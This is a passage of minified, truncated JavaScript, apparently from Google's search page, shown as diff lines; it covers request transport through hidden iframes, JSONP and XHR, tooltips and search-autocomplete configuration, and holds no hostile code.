+a.EL,i=function(a,b,c){function d(){a:{var b,e;try{b=a.location.href,e=7>=O||"complete"==a.document.readyState}catch(f){p.handleError(1,13,t,f,_.ba);break a}try{!C.test(b)&&((!a.google||!a.google.loc)&&e&&0>b.indexOf(w[c]))&&p.handleError(1,19,t,_.ba,_.ba)}catch(s){p.handleError(1,7,t,s,_.ba)}x==r.AC&&a&&(a.src="about:blank")}}b=window.document.getElementsByName(b);for(var e=0,f;f=b[e++];)if("IFRAME"==f.nodeName&&((0,_.rh)(f,"load",d),x==r.AC&&8<=O)){var s=window.document.createElement(" [...]
+"none";(0,_.Dd)(s,f)}if(x==r.lJ&&!w[c])try{a.document.title=window.document.title}catch(g){}},r={AC:0,lJ:1},A=a.cL||"tlif"+window.google.time()+g,z="^"+A+"[0-9]+$",t=p.Hf(3),C=/(\/blank\.html|about:blank)$/,w=[],u={},I=[],Ha=0,O=0,x,K=window.document;if("number"!=typeof n||1>n)n=1;_.Pe.He&&(O=window.document.documentMode?window.document.documentMode:(0,window.parseInt)(_.Se.split(".")[0],10));x=O&&7>=O?r.lJ:r.AC;k={open:function(){if(_.Pe.He&&!(0,_.Ve)("10"))try{var a=window.google.ihtml [...]
+a.open();a.close();a.parentWindow.google=window.google;(0,_.rh)(window,"unload",function(){window.google.ihtmlfile&&(window.google.ihtmlfile.parentWindow.google=_.l,window.google.ihtmlfile=_.l)});K=a}catch(b){K=window.document,p.handleError(1,2,t,b,_.ba)}for(a=0;a<n;++a){var c=A+a,d;if(!I[a])try{var e=K.createElement("IFRAME");e.name=c;e.style.display="none";e.src="about:blank";var f=K.createElement("DIV");f.id=c;f.appendChild(e);K.body.appendChild(f);d=I[a]=e.contentWindow}catch(s){retu [...]
+5,t,s,_.ba),_.m}if(!d)return _.m;i(d,c,a)}return _.j},jd:function(a,b){Ha=(Ha+1)%n;var c=A+Ha;a+="&wrapid="+(0,window.encodeURIComponent)(c);var d=I[Ha].location;x==r.lJ?d.href=a:d.replace(a);b&&(u[c]=b);w[Ha]=a},GF:function(a,b,c){a&&a.match(z)&&(p.qF(b),c&&u[a]&&(u[a](),delete u[a]))},getName:function(){return A},XE:function(){return t},ZE:(0,_.E)(_.j),close:function(){for(var a=0;a<n;++a){var b=A+a;(0,_.Fd)(K.getElementById(b));u[b]&&(u[b](),delete u[b])}}};break;case _.sj.zC:var g=a. [...]
+da=a.dD,ma=a.ZC,P=function(){return Aa&&Z.length>=da},y=function(a){var b=Ua[a];if(b){delete Ua[a];for(var c=0;c<Z.length;++c)if(Z[c]==a){Z.splice(c,1);break}window.setTimeout(function(){try{(0,_.Fd)(b),b.src=_.Pe.He?"blank.html":"about:blank"}catch(a){}},0);G[a]&&(G[a](),delete G[a])}},Fa="tljp"+window.google.time()+g,ra=p.Hf(4),N=0,Z=[],G={},Ua={};k={open:(0,_.E)(_.j),jd:function(a,b){var c=window.document.createElement("script"),d=Fa+N++;c.src=a+"&wrapid="+d;Ua[d]=c;if(P()){for(;Z.len [...]
+ma&&p.xQ(da)}Z.push(d);b&&(G[d]=b);_.Pe.He?c.onreadystatechange=function(){var a=c.readyState;("loaded"==a||"complete"==a)&&y(d)}:c.onload=function(){y(d)};(0,_.Ye)(c)},GF:function(a,b,c){Ua[a]&&(p.qF(b),c&&G[a]&&(G[a](),delete G[a]))},getName:function(){return Fa},XE:function(){return ra},ZE:(0,_.E)(_.m),XI:P,close:function(){for(var a in Ua)y(a),G[a]&&(G[a](),delete G[a])}};break;case _.sj.ED:case _.sj.zE:case _.sj.HD:var S=q==_.sj.HD?g.pB:g.lf,za=q==_.sj.ED||q==_.sj.HD,L=a.BC,Da=a.dD, [...]
+function(a){a&&(a.send(_.l),Ka.push(a))},La=function(a){for(var b=0,c;c=Ka[b];++b)if(a==c){Ka.splice(b,1);break}for(;Ka.length<Da&&Ia.length;)Na(Ia.shift());a.lE&&a.lE()},Ca=p.Hf(S?5:za?1:2),Ka=[],Ia=[];if("number"!=typeof Da||1>Da)Da=5;k={open:function(){var a=(0,_.oh)();return S?!!a&&"withCredentials"in a:!!a},jd:function(a,b){var c=(0,_.oh)();if(c){c.open("GET",a);S&&(c.withCredentials=_.j);c.lE=b;var d=[0,_.m];c.onreadystatechange=function(){if(!_.Qe.He||!((0,_.Ve)("9")&&1==c.readySt [...]
+c.readyState&&0==c.status){p.handleError(1,21,Ca,_.l,a);La(c);return}}catch(b){p.handleError(1,21,Ca,_.l,a);La(c);return}(3==c.readyState||4==c.readyState)&&200==c.status&&0>(c.getResponseHeader("Content-Type")||"").indexOf("application/json")?(p.handleError(1,12,Ca,_.l,a),La(c)):3==c.readyState&&za?d=p.mR(c.responseText,d[0],Ca,a):4==c.readyState&&(200==c.status?d=p.mR(c.responseText,d[0],Ca,a,_.j):400<=c.status&&500>c.status?p.handleError(1,0,Ca,_.l,a):500<=c.status&&600>c.status&&p.ha [...]
+1,Ca,_.l,a),d[1]&&La(c))}};if(Ka.length<Da)Na(c);else if(L){for(;Ka.length;){var e=Ka.shift();e.onreadystatechange=(0,_.ea)();e.abort();e.lE&&e.lE()}Na(c);Ma&&p.xQ(Da)}else Ia.push(c)}},XE:function(){return Ca},ZE:function(){return za},XI:function(){return L&&Ka.length>=Da},close:function(){Ia=[];for(var a=0;a<Ka.length;++a){var b=Ka[a];b&&(b.onreadystatechange=(0,_.ea)());b&&(0!=b.readyState&&4!=b.readyState)&&b.abort();b.lE&&b.lE()}Ka=[]}}}k?(a={C:function(){return q},p0:function(a){h. [...]
+r0:function(a){for(var b=0,c;c=h[b];++b)if(c==a){h.splice(b,1);break}h.length||(a.SL(),k.close())},hX:function(){return(v++).toString()},open:k.open,jd:k.jd,GF:k.GF||c,XI:k.XI||d,getName:k.getName||b,XE:k.XE,ZE:k.ZE},a.qF=e):a=_.l;return a&&(a.p0(Ga),a.open())?(Q=a,_.zj.g0(Q),R=_.j):_.m}function s(a,b,c,d){if(a==y.QM||a==y.ERROR){var e=Q?Q.XE():_.l,e={_svty:a,_err:b,_type:e&&e.wr};d&&(e._data=(0,window.encodeURIComponent)(""+d));try{e._wl=(0,window.encodeURIComponent)((0,_.Bf)()),window. [...]
+(0,window.Error)("comm"),_.m,e)}catch(f){}}for(c=0;e=da[c++];)e.Jb(a,b,d)}function A(){return R}function z(a){if("string"==typeof a){var b=h(a);if(b)return a=L(a,b),ma.RO(b,a)}return _.l}function t(){++N}function u(a,b){b?(S[b]&&!(S[b].name==a.name&&S[b].toString()==a.toString())&&s(y.tT,4,_.l,b),S[b]=a):L=function(b,c){var d=S[c];return d?d(b):a(b)}}if(a){for(var w=[],x=0,I;I=a[x++];)(0,_.mj)(I.wr)&&w.push(I);a=w.length?w:_.l}else if("undefined"!=typeof _.wj)a=_.wj;else{a=[[_.gj.ED,_.jj [...]
+_.ij],[_.gj.PB,_.fj],[_.gj.zC,_.hj]];w=[];for(x=0;I=a[x++];)(0,_.mj)(I[0])&&(I=I[1](),w.push(I));a=_.wj=w.length?w:_.l}var O=a;if(!O)return _.l;var K={ZS:-1,c4:0,hU:1},Z={TM:_.j,lT:_.m},y=_.Uaa,G=window.google.kEI+"."+window.google.time(),Q,L,S={},P={},da=[],R=_.m,Aa=59,Fa,C={},ra={},Da,N=0,ma,Ha;u(i);var Ua={},za=[],Ma=0,Na=f(),La=f(),Ia={C1:function(a,b){e(a,b,_.l,_.l)},D1:function(a,b){e(a,_.l,b,_.l)},z1:function(a,b){e(a,_.l,_.l,b)},XV:function(a,b,c){g();var e=[Na.Ky,Na.kz,Na.Dy],f= [...]
+La.Dy];if(a=a.rK(b,c))if(b=10==za.length&&d(e,a[0]),d(f,a[1])||b)return e.concat(f);return _.l},f0:g,TW:function(){return Na},mK:function(){return La},lX:function(){return za.length}};Ia.X4=e;ma=_.zj.XW();var Ka,Ca=_.m;Ha={defer:function(a){Ca&&(0,_.xf)(76,[])?(Ka||c(),Ka.push(a),1==Ka.length&&window.setTimeout(function(){b({source:window,data:"comm.df.daisy"})},0)):window.postMessage?(Ka||c(),Ka.push(a),window.postMessage("comm.df",window.location.href)):window.setTimeout(a,0)},pZ:funct [...]
+!!Ka&&0<Ka.length},aM:function(a){Ca=a}};var Ga={qF:function(a,b,c){if(R){var d=a.u,e=d?h(d):"",f;a:{if(d&&(b=d.match(_.Vaa))){f=b[1];break a}f=""}var s=a.e,g;b=f;var q=ma.VW(e,s,_.j);if(!q)if(q=ma.WW(e,b,_.j))ma.KN(e,q.Eh(),s,q);else{var q=c?_.tj.FM:_.tj.AM,v=L(d,e),q=(0,_.ej)(q,ra[b]);q.RR(b);ma.KN(e,v,s,q)}g=q;C[e]||(b=window.google.time()-g.nK(),v=g.ZG(),Ia.C1(v,b),g.YE()&&Ia.D1(v,b));b=a.c;var p=!b||b!=K.hU,i=a.d;a=a.a;if("undefined"!=typeof i&&i!=_.l){var r=d?d.replace(_.Waa,""):"" [...]
+p,Aa,a);a=function(){var a=window.google.time();n(i,p,k(g,i),e,g.nK(),r,Z.lT,f,s,g.QO());1<g.eK()&&(a=window.google.time()-a,Ia.z1(f,a),p&&Fa&&(a=Ia.XV(Fa,e,d))&&Fa.MI&&Fa.MI(a))};Ha.pZ()?Ha.defer(a):a()}a=g.YE();b==K.ZS||a&&c?ma.abort(e,g):a&&ma.cW(e,g)}},handleError:s,SL:function(){_.zj.SL(Q)}};a={a:(0,_.E)("_?"),b:A,c:function(){Ia.f0();var a=Ia.TW(),b=Ia.mK(),c=Ia.lX(),a=[[c,a.Ky,a.kz,a.Dy],[c,b.Ky,b.kz,b.Dy]];return Da?a.concat([Da.SW()]):a},d:function(a){Aa=a},e:function(a){Fa={rK: [...]
+f:function(a){"function"==typeof a&&(h=a)},g:u,h:function(a,b,c){if(b){var d=P[b];d||(d=P[b]=[]);v(d,a,c)}},i:function(a,b){v(da,a,b)},j:function(a){if(R)return _.j;++N;var b=_.zj.oX();if(a){for(var c=_.l,d=0,e;e=O[d];++d)if(e.wr==_.sj.PB?e.wr==a.wr&&e.cL==a.cL&&e.EL==a.EL:e.wr==a.wr&&e.BC==a.BC&&e.dD==a.dD&&e.ZC==a.ZC){c=e;break}c||(c=a,O.push(c));c.PJ=b;return r(c)}for(d=0;e=O[d];++d){e.PJ=b;if(r(e))return _.j;O.splice(d--,1)}return _.m},k:function(a,b,c,d){if(R){var e=h(a),f=L(a,e),g= [...]
+!b){if(c=!c){var v=ma.RO(e,f);if(v){var p=v.ZG(),i=v.WO(),g=v.YE();c=v.eK();var r=v.QO(),A=window.google.time();for(q=0;q<c;++q)(function(a,b,c){Ha.defer(function(){n(a,b,k(v,a,c+1),e,A,v.kX(c),Z.TM,p,i,r)})})(v.TO(q),g&&q==c-1,q);g=p}else g=_.ba;c=g}q=c}if(q)return Ha.defer(function(){(0,_.xf)(82,[a,d])&&d&&d()}),g;g=Q.hX();b=(0,_.ej)(b?_.tj.FM:_.tj.AM);ra[g]=b.nK();ma.pV(e,f,g,b);Q.XI()&&++N;f=a;b=-1==f.indexOf("?")?"?":"&";c=G;window.google.mcp&&(c=G.split("."),q=window.google.mcp(c[1 [...]
+"."+q);a=[f,b,"tch="+Q.C(),"&ech=",g,"&psi=",c,".",N].join("");Q.jd(a,function(){var b=a,c=h(b);(b=z(b))&&!b.YE()&&ma.abort(c,b);d&&Ha.defer(d)});return g}s(y.QM,14)},l:function(a){return!!z(a)},m:function(){return p(_.sj.PB)},n:function(){return p(_.sj.zC)},o:function(){return p(_.sj.zE)},p:function(){return p(_.sj.ED)},r:function(){return p(_.sj.HD)},s:function(){return Q&&R?Q.ZE():_.m},t:t,u:function(){R?(R=_.m,Q.r0(Ga),Q=_.l):s(y.ERROR,3)},v:function(a,b){var c=P[b];c&&q(c,a)},w:func [...]
+a)},x:function(a){Ha.aM(a)},y:function(a){C[a]=1},z:function(a){if(0<a&&!window.google.commPmActive){window.google.commPmActive=_.j;var b=function(b){b-=a;0>b&&(b=0);c[d]=b;d=(d+1)%20},c=[],d=0,e=_.m,f={start:function(){function c(){var f=window.google.time();b(f-d);e&&(d=f,window.setTimeout(c,a))}var d=window.google.time();e=_.j;window.setTimeout(c,a)},stop:function(){e=_.m},SW:function(){return c.slice(d).concat(c.slice(0,d))}};f.A4=b;Da=f;Da.start()}},aa:function(a){return a&&S[a]?S[a [...]
+b){var c=z(a);return c&&c.YE()?(c.M0(b),_.j):_.m},ac:function(a){delete C[a]},bX:A,QY:t};_.xj.push(a);return a},h:_.kj,i:function(a){_.yj.clear(a);if(a&&"undefined"!=typeof a&&a!=_.l){var b=[],c;for(c in a)if(!(0,_.Ja)(a[c])){var d=c+" = ";try{d+=a[c]}catch(e){d+="*** "+e+" ***"}b.push(d)}b.join("\n")}for(a=0;b=_.xj[a++];)b.bX()&&b.QY()}},_.ba);
+
+(0,_.Mc)(_.Dc.I(),"c");(0,_.Qc)(_.Dc.I(),"c");
+}catch(e){_._DumpException(e)}
+try{
+_.tt=function(a,b,c,d){this.B=a;this.Ja=b;this.D=_.l;this.N=c||0;this.ra=d||(0,_.E)(_.j);a.getAttribute("aria-label")==_.l&&a.setAttribute("aria-label",b);this.S=(0,_.Xa)(this.oV,this);this.H=(0,_.Xa)(this.nW,this);(0,_.rh)(this.B,"mouseover",this.S);(0,_.rh)(this.B,"mouseout",this.H);(0,_.rh)(this.B,"focus",this.S);(0,_.rh)(this.B,"focusin",this.S);(0,_.rh)(this.B,"blur",this.H);(0,_.rh)(this.B,"focusout",this.H);(0,_.rh)(this.B,"mousedown",this.H);(0,_.rh)(this.B,"click",this.H);(0,_.r [...]
+_.F=_.tt.prototype;_.F.IC=function(){(0,window.clearTimeout)(this.ka);(0,window.clearTimeout)(this.X);this.DQ();(0,_.sh)(this.B,"mouseover",this.S);(0,_.sh)(this.B,"mouseout",this.H);(0,_.sh)(this.B,"focus",this.S);(0,_.sh)(this.B,"focusin",this.S);(0,_.sh)(this.B,"blur",this.H);(0,_.sh)(this.B,"focusout",this.H);(0,_.sh)(this.B,"mousedown",this.H);(0,_.sh)(this.B,"click",this.H);(0,_.sh)(this.B,"keydown",this.H)};
+_.F.oV=function(){this.ra()&&(window.clearTimeout(this.X),this.ka=window.setTimeout((0,_.Xa)(this.fZ,this),130))};_.F.nW=function(){window.clearTimeout(this.ka);this.X=window.setTimeout((0,_.Xa)(this.DQ,this),130)};
+_.F.fZ=function(){if(!this.D){this.D=(0,_.Ze)("div",this.Ja);this.M=(0,_.Ze)("div");this.D.style.cssText="background:#2d2d2d;border:1px solid;border-color:#fff;box-shadow:1px 2px 4px rgba(0,0,0,0.2);box-sizing:border-box;color:#fff;display:block;font-size:11px;font-weight:bold;height:29px;line-height:29px;padding:0 10px;position:absolute;text-align:center;transition:opacity 0.13s;white-space:nowrap;visibility:hidden;z-index:2000;";_.Pe.WEBKIT?this.D.style.cssText+="-webkit-box-shadow:0px [...]
+_.Pe.GECKO?this.D.style.cssText+="-moz-box-shadow:0px 1px 4px rgba(0,0,0,0.2);-moz-box-sizing:border-box;-moz-transition:opacity 0.13s;":_.Pe.OPERA&&(this.D.style.cssText+="-o-transition:opacity 0.13s;");this.M.style.cssText="border:6px solid;border-color:#fff transparent;border-top-width:0;content:'';display:block;font-size:0px;height:0;line-height:0;position:absolute;top:-6px;width:0;";var a=(0,_.Ze)("div");a.style.cssText=this.M.style.cssText;a.style.top="1px";a.style.left="-6px";a.st [...]
+"#2d2d2d transparent";this.M.appendChild(a);this.D.appendChild(this.M);this.B.parentNode?this.B.parentNode.appendChild(this.D):this.B.offsetParent?this.B.offsetParent.appendChild(this.D):window.document.body.appendChild(this.D);var a=this.B.offsetWidth,b=this.B.offsetLeft,c=this.D.offsetWidth;if(0==this.N){this.D.style.left=a/2-c/2+b+"px";var d=(0,_.we)(this.D),e=(0,_.We)(3);d+c>e?this.D.style.left=b+a-c+1+"px":0>d&&(this.D.style.left=b-1+"px")}else d=(0,_.Kf)(),this.D.style.left=3==this [...]
+d?b+a-c+1+"px":b-1+"px";this.D.style.top=this.B.offsetTop+this.B.offsetHeight+5+"px";0==this.N?this.M.style.left=this.B.offsetLeft+this.B.offsetWidth/2-this.D.offsetLeft-1-6+"px":(a=(0,_.Kf)(),3==this.N||1==this.N&&a?this.M.style.right="18px":this.M.style.left="18px");this.D.style.visibility="visible"}};_.F.DQ=function(){this.D&&((0,_.Fd)(this.D),this.D=_.l)};
+
+(0,_.Mc)(_.Dc.I(),"sy32");(0,_.Qc)(_.Dc.I(),"sy32");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"sb");_.cj.Cu=_.l;_.cj.xo=/^[6-9]$/;_.hCa={Fl:0,Vg:1,El:2,wd:3};_.k4={ge:0,Ki:5,eo:19,Jo:30,lo:32,Dh:33,no:34,Ch:35,ek:38,To:39,zk:40,xj:41,lw:42,dv:43,Gk:44,xk:45,uo:46,zv:47,yv:48,wv:49,xs:50,rw:51,fv:52,ev:54,nv:55,Xo:56,ov:66,Fu:67,Cv:68,Tn:400,Mu:401,Nu:403,xv:404,Is:405,Lu:406,Un:407,uw:408,$p:500,Xv:503,Yu:504,Pu:505,Eu:506,mv:507};_.iCa={EMPTY:0,Al:1,hh:2};_.jCa={hp:0,Sn:1,Ku:2,Po:3,Oo:4};_.kCa={Sz:1,Vz:2,Xz:3,pA:4,Yz:5,Zz:6,$z:7,Ls:8,aA:9,gA:10,mA:11,nA:16,oA:1 [...]
+_.lCa={wl:1,Bl:2,$t:3,ul:4,Dl:5,du:6,Yt:7,xe:8};_.l4={IE:0,GECKO:1,OPERA:2,CHROME:3,SAFARI:4,WEBKIT:5,Ii:6,hi:7};_.mCa={Qf:"left",MB:"center",nj:"right"};_.nCa={Nt:0,Qf:1,gn:2};_.oCa={Do:0};_.pCa={DONT_CARE:1,Bh:2,pk:3};_.qCa={Lg:0,Gl:1,wd:2};_.rCa={Zv:"a",Yv:"d",Ai:"e",rv:"h",Bv:"i",Mv:"j",Ou:"k",Jv:"l",Ov:"m",Iv:"n",Kh:"o",Lh:"p",Ko:"q",qw:"r",Qu:"t"};
+_.sCa={fo:0,Uo:1,Vn:2,Wn:3,zo:4,Ho:5,Wo:6,Vo:7,yo:8,jo:9,Eo:10,Ao:11,Bo:12,So:13,Mo:14,bp:15,ho:16,ko:17,Io:18,vo:19,Ai:20,wo:21,io:22,gv:23,Lv:24,$n:25,za:26,Oi:27,Nv:28,$v:29};_.cj.Lo=[23,24];
+_.m4={gu:0,Xt:114,Pa:115,Vb:116,ea:117,Y:118,kb:119,za:374,eb:120,Qa:121,Cg:122,ya:123,Kb:124,Nc:125,Dn:230,ta:126,xb:127,ga:128,Mh:343,Tc:129,Wt:231,zb:130,Wf:131,Ej:237,cu:132,Ee:134,gd:189,Ff:246,Zj:264,Mc:133,En:184,jh:419,Be:173,Ua:135,La:136,Ab:137,Sc:138,wa:139,Nd:140,yb:141,Rf:142,Od:240,ze:143,Vc:144,Rg:347,dd:191,qd:150,$b:145,Md:146,Cb:147,eu:148,yk:245,Bf:155,kf:149,Kg:154,Xf:311,ve:153,RENDERER:152,Qc:156,Pi:151,of:158,Mg:294,Fn:157,qf:160,zf:159,Tq:256,Zt:328};_.tCa={lf:161 [...]
+_.cj.A={};_.dj.Di=_.l;_.cj.Di=function(a){return{Kc:function(){return a.Kc()},U:function(){return a.U()},ha:function(){return a.ha()}}};
+_.cj.$o=function(){function a(a){for(var b=[],e=0,f;f=a[e++];)b.push(f.api||{a:f.$a,b:f.Q,c:f.Ma,d:f.C,e:f.Zb,f:f.Nh,g:f.$g,i:f.Rc,j:f.O,k:f.Fd,l:f.mg});return b}function b(a){for(var b=[],e=0,f;f=a[e++];)f=f.api||f,b.push({api:f,$a:f.a,Q:f.b,Ma:f.c,C:f.d,Zb:f.e,Nh:f.f,$g:f.g,Rc:f.i,O:f.j,Fd:f.k,mg:f.l});return b}_.cj.Za=function(a){var b={};if(a)for(var e=0;e<a.length;++e)b[a[e]]=_.j;return b};_.cj.Xi=function(b){var d=a(b.ha());return b.api||{a:b.U,b:function(){return d},c:b.Kc}};_.cj. [...]
+function(a){a=a.api||a;var d=b(a.b());return{api:a,U:a.a,ha:function(){return d},Kc:a.c}};_.cj.Ju=b;_.cj.aj=function(a){return a?(a=a.toLowerCase(),"zh-tw"==a||"zh-cn"==a||"ja"==a||"ko"==a):_.m};_.cj.getTime=function(){return(new window.Date).getTime()};_.cj.ne=function(a){return"string"==typeof a};_.cj.bj=function(a){return"number"==typeof a}};_.cj.$o();_.dj.Qd=_.l;_.dj.Ub=_.l;_.dj.Hs=_.l;_.dj.ii=_.l;_.dj.ji=_.l;_.dj.Mp=_.l;_.dj.Vu=_.l;_.cj.Wu=_.l;_.dj.wi=_.l;_.dj.Zu=_.l;_.dj.Bi=_.l;_.d [...]
+_.dj.Gi=_.l;_.dj.Av=_.l;_.dj.Hi=_.l;_.dj.Ni=_.l;_.dj.Kv=_.l;_.dj.Cl=_.l;_.dj.Uq=_.l;_.dj.Qi=_.l;_.dj.Rv=_.l;_.dj.Ri=_.l;_.dj.Tv=_.l;_.dj.Uv=_.l;_.dj.Vv=_.l;_.dj.Ti=_.l;_.dj.Ui=_.l;_.dj.Wv=_.l;_.dj.Vi=_.l;_.dj.bw=_.l;_.dj.fu=_.l;_.dj.Wi=_.l;_.dj.dw=_.l;_.dj.lq=_.l;_.dj.fw=_.l;_.dj.qk=_.l;_.dj.yi=_.l;_.dj.Ei=_.l;_.dj.oj=_.l;_.dj.Pk=_.l;_.dj.zi=_.l;_.dj.Fi=_.l;_.dj.Ji=_.l;_.dj.Dv=_.l;_.dj.Qv=_.l;_.dj.Il=_.l;_.dj.gw=_.l;_.dj.jw=_.l;_.dj.kw=_.l;_.cj.Oi=1;_.dj.Uu=_.l;_.dj.ni=_.l;
+_.cj.ni=function(){return{I:function(){var a=_.k4;return{Yd:"hp",Yg:"hp",qg:"google.com",zh:"",Pc:"en",Ag:"",Sh:"",hf:"",authuser:0,Rh:"",Wc:"",uf:_.m,Cj:"",Hd:"",ob:0,Hj:_.l,yf:_.m,ug:_.m,Oj:_.m,Oh:_.m,Ga:_.cj.Za([a.eo,a.Ki,a.ge]),Lq:_.m,Ql:_.j,tg:10,Mf:_.j,Nf:_.j,Ik:_.m,bi:_.m,Kn:_.m,Pf:_.j,Nl:_.m,$j:500,Vf:_.m,Zh:_.j,xt:_.j,Pg:_.m,Kf:"",Gp:"//www.google.com/textinputassistant",Hp:"",Ip:7,Lk:_.m,Sq:_.m,xf:_.m,nq:_.j,qq:_.m,Ge:_.m,Jf:_.m,gi:_.m,fi:_.m,Id:1,Qm:_.j,qh:_.j,le:_.m,Xh:_.m,Bn [...]
+Lj:0,nr:_.m,lk:_.j,Rl:_.m,wg:window.document.body,Fm:_.j,cn:_.l,xa:{},Aj:{},cj:0,ln:_.m,Gm:_.j,nb:_.m,yu:_.l,Yk:_.m,zt:_.l,Jt:_.l,Pl:_.m,hn:_.m,Pj:1,ku:1,spellcheck:_.m,An:_.m,Ok:"Search",Sd:"I'm Feeling Lucky",uq:"",Nk:"Learn more",il:"Remove",$k:"This search was removed from your Web History",Gh:"",nu:"Did you mean:",Es:"",Gs:"",jn:_.m,jk:_.l,ng:0,Nb:"",we:"",isRtl:_.m,ke:"absolute",Sk:_.m,Dm:_.m,Ld:_.l,Kk:_.j,zu:0,Vd:[0,0,0],Ol:_.l,dn:_.l,Kl:[0],rk:0,mk:1,fe:"",Yp:"",Xp:"",Np:_.l,jr: [...]
+$q:1,Eg:{},Vk:_.j}}}};_.cj.Zn=/<\/?(?:b|em)>/gi;_.cj.Fj=_.j;_.cj.Jg=_.j;_.cj.ce="gstl_";_.n4={ll:1,Fv:2,yl:3,hg:4,jg:5,Mi:6,Li:7,Jj:8,Ev:9,Hv:10,xr:11,Ar:12,zr:13,Dq:14,yr:15,Gv:16};_.o4={Yj:8,xe:9,Ah:13,ue:27,Zq:32,Wj:37,Jh:38,Xj:39,Ih:40,Qj:46};_.uCa={Rn:0,Yn:1,Xn:2};_.vCa={bA:"/complete/search",Ms:"/complete/init",Ws:"/complete/deleteitems"};_.wCa={vk:"a",tr:"b"};_.xCa={Jr:"a",Kj:"b",Kr:"c",Lr:"d",Mr:"e",Rw:"f",Vw:"g",RB:"h",QB:"i",Sw:"j",SB:"k",OB:"l",jx:"m"};
+_.yCa={Jr:"a",Kj:"b",Kr:"c",Lr:"d",Mr:"e",Rw:"f",Vw:"g",Sw:"h",fq:"i",jx:"j"};_.dj.Pv=_.l;_.cj.Qi=function(){var a=_.cj.P,b=0,c={},d={},e={},f={},g={};return{km:function(){return b++},zg:function(a,b,c){d[a]=c;g[a]=[b]},register:function(b,c,d){var p=f[b];p?p!=a&&(f[b]=a):f[b]=d;(p=g[b])?p.push(c):g[b]=[c];e[c]=d},Yl:function(){return g},I:function(b,g){var n=c[b];return n?n:(n=d[b])?c[b]=n():!g?(n=f[b],!n||n==a?_.l:n()):(n=e[g])?n():_.l}}};_.cj.J=_.cj.Qi();_.dj.Tu=_.l;_.dj.mi=_.l;_.dj.jv=_.l;
+_.cj.mi=function(a,b,c,d,e,f){function g(){if(w){for(var a=0,b;b=u[a++];)b.$&&b.$();w=_.m}}function h(a){for(var b in a){var c=b,d=a[c];if(d!=p.lf)if(q[c]){for(var e=A[c]||[],f=0,g=_.ba;f<d.length;++f)(g=i(c,d[f]))&&e.push(g);A[c]=e}else(d=i(c,d))&&(s[c]=d)}}function i(a,b){var e;if(b&&b instanceof window.Object)e=b;else if(e=x.I(a,b),!e)return _.l;if(e.Jc){var f=e.Jc();if(f)for(var s=0,g,h,k;g=f[s++];){k=_.m;h=g.C();if(q[h]){if(k=z[h]){k.push(g);continue}k=_.j}z[h]=k?[g]:g}}t.push([e,a] [...]
+e.W&&e.W(c,d);return e}function n(a){for(var b=0,c=0,d;d=t[c++];)d[0]==a&&(b=d[1]);return b}var p=_.tCa,k=_.m4,q=_.cj.Za([k.zf,k.Bf,k.kf,k.ve,k.Kg,k.Xf,k.RENDERER,k.Qc,k.Pi,k.of,k.Mg,k.qf]),v=[k.$b,k.ea,k.Y,k.kb,k.za,k.ta,k.Pa,k.Vb,k.eb,k.Cb,k.Qa,k.Mc,k.Cg,k.ya,k.Kb,k.Nc,k.xb,k.ga,k.Mh,k.Tc],r=[k.xb,k.kf,k.Ee,k.ya,k.Qa,k.ta,k.Y,k.Pa,k.ga,k.qf,k.Be,k.kb,k.Vb,k.RENDERER,k.ve,k.Tc,k.eb,k.za,k.Kb,k.of,k.Bf,k.Wf,k.zb,k.Cb,k.yb,k.Rf,k.Ab,k.Od,k.ze,k.Sc,k.Vc,k.wa,k.Nd,k.Ua,k.La],s={},A={},z={}, [...]
+w=_.m,x=_.cj.J,I={K:function(a){g();for(var b=0,c;c=u[b++];)c.K&&c.K(a);w=_.j},$:g,isActive:function(){return w},get:function(a,b){var c=s[a];if(c)return c.F?c.F(n(b)):{}},ma:function(a,b){var c=A[a];if(c){for(var d=[],e=n(b),f=0,s;s=c[f++];)d.push(s.F?s.F(e):{});return d}return[]},Wa:function(){return a},Fb:function(){return e},Ep:function(a,b){var c=A[k.zf];if(c)for(var d=0,e;e=c[d++];)if(e.G()==a)return e.F?e.F(n(b)):{};return _.l}};if(f.Vk){var O=x.Yl(),K,Z,y,G;for(G in O){var Q=G;K= [...]
+if(y=b[Q]){if(y!=p.lf&&Z&&y.length){Z=b;y=y.slice(0);for(var L=[],S={},P=0,da=_.ba,R=_.ba;R=y[P++];)R instanceof window.Object&&(da=R.G(),S[da]||(L.push(R),S[da]=1),y.splice(--P,1));P=_.cj.Za(y);P[p.kh]&&(P=_.cj.Za(y.concat(K)),delete P[p.kh]);for(da in P)S[da]||L.push((0,window.parseInt)(da,10));Z[Q]=L}}else b[Q]=Z?K:K[0]}}h(b);for(O=0;G=v[O++];)b[G]||(Z=i(G,_.ba))&&(s[G]=Z);h(z);u.sort(function(a,b){var c=_.cj.indexOf(a.C(),r),d=_.cj.indexOf(b.C(),r);return 0>c?1:0>d?-1:c-d});for(O=0;b [...]
+b.L(I);for(O=0;b=u[O++];)b.T&&b.T(f);for(O=0;b=u[O++];)b.K&&b.K(f);w=_.j;return I};_.dj.Me=_.l;_.dj.Sv=_.l;
+_.cj.Me=function(a,b,c){function d(){return a}function e(){return v}function f(){return r}function g(){return b}function h(){return c||""}function i(a,b){k(a,b)}function n(a,b){k(a,b,_.j)}function p(){u||(w=x=_.j)}function k(a,b,c){u||(w=_.j,s[a]=b,c&&(A[a]=b))}var q=_.cj.yp(),v,r,s={},A={},z,t,u=_.m,w=_.m,x=_.m,I=_.m,O={getId:function(){return q},xh:function(){var a=(0,window.parseInt)(q,36);return(0,window.isNaN)(a)?-1:a},U:d,Xg:e,Ba:f,Ya:g,O:function(){return s},Eh:function(){return z [...]
+vh:function(){return{U:d,Xg:e,Ba:f,Ya:g,Mj:h,setParameter:i,$d:n,B:p}},setParameter:i,$d:n,B:p,Mm:function(){return x},Hm:function(){w=I=_.j},Om:function(d,e,f){return!w&&a==d&&b.equals(e)&&c==f},yh:function(){return I},Ul:function(){u||(t=_.cj.getTime(),"cp"in A||n("cp",b.getPosition()),k("gs_id",q),z=_.cj.Pd(A)+":"+a,w=u=_.j)}};v=a.toLowerCase();r=_.cj.Pb(v);return O};_.dj.gc=_.l;
